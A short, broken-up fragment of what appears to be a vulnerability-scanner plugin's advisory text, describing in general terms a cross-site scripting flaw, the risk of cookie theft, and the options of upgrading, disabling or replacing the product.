  vulnerabilities because it fails to properly sanitize user-supplied input.");

  code in the browser of an unsuspecting user in the context of the affected site. This may help the
  attacker steal cookie-based authentication credentials and launch other attacks.");

  disclosure of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade
  to a newer release, disable respective features, remove the product or replace the product by another one.");
